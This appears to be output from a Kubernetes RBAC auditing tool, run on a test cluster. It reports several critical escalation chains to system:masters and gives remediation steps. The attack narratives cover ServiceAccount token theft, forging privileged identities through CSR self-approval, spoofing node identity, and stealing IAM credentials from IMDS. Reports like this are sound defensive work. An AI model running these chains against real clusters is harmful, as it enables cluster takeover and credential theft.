  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 9.2
ServiceAccount/nodeid-fixtures/nodeid-joiner can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/csr-fixtures/sa-csr-mint via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
3. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/csr-fixtures/sa-csr-mint through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/csr-fixtures/sa-csr-mint.
  4. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there
  3. Step 3 of 3 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 9.0
ServiceAccount/privesc-fixtures/sa-ephemeral can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/csr-fixtures/sa-csr-mint via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/csr-fixtures/sa-csr-mint via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 9.0
ServiceAccount/privesc-fixtures/sa-pod-exec can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/csr-fixtures/sa-csr-mint via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/csr-fixtures/sa-csr-mint and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.0
ServiceAccount/rbac-fixtures/sa-pod-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/csr-fixtures/sa-csr-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/csr-fixtures/sa-csr-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount. (The textbook O=system:masters claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval: forging a cluster identity csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

    Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

    Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

    This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert
Survives cutting the crb-pod-create binding (2 hops)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
